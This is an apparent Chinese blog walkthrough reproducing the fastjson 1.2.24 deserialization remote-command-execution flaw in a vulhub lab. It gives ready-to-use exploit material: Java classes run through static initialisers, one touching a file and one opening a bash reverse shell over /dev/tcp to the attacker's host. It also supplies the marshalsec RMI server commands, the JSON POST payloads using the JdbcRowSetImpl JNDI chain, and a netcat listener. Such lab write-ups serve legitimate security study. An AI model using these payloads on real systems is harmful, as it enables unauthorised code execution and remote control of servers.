赞
踩
fastjson 1.2.24 反序列化导致任意命令执行漏洞
git clone https://github.com/vulhub/vulhub
或者直接下载zip文件cd fastjson/1.2.24-rce
sudo docker-compose up -d
,启动好输入sudo docker ps
,看是否成功启动ifconfig
指令,查看虚拟机ip,此时在宿主机访问http://虚拟机ip:8090
,可以看到json格式输出都是在宿主机(攻击机)进行操作。
com.sun.rowset.JdbcRowSetImpl
的利用链,通过 JNDI 注入来执行命令TouchFile.java
// TouchFile.java // cmd run javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
打开终端cmd执行javac TouchFile.java
编译,此时生成TouchFile.class
文件
利用python快速启动临时web服务(ps.省事),python -m http.server 8888
利用marshalsec工具(需要maven环境编译),或者直接下载marshalsec-0.0.3-SNAPSHOT-all.jar
链接: https://pan.baidu.com/s/1pDaDDKWD1VmTAmlnQMB-6Q?pwd=rv7u 提取码: rv7u
通过java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#TouchFile 2335
启动RMI服务器,监听2335 端口,并指定加载远程类 TouchFile.class
利用burpsuite向kali虚拟机靶场发送payload,带上RMI地址,可以看到上图的RMI服务已经发送了TouchFile
POST / HTTP/1.1 Host: 192.168.132.128:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 160 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.31.41:2335/TouchFile", "autoCommit":true } }
sudo docker ps
查看容器id,执行sudo docker exec -it a08916637ab9 bash
进入容器,执行ls /tmp
,查看到,我们成功创建了success文件shell.java
,并执行javac shell.java
进行编译import java.lang.Runtime;
import java.lang.Process;
public class shell{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/宿主机ip/19527;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://宿主机ip:8888/#shell 2335
https://eternallybored.org/misc/netcat/
,在本地监听19527端口。.\nc.exe -lvvp 19527
POST / HTTP/1.1 Host: 192.168.132.128:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 163 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.31.41:2335/shell", "autoCommit":true } }
whoami
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。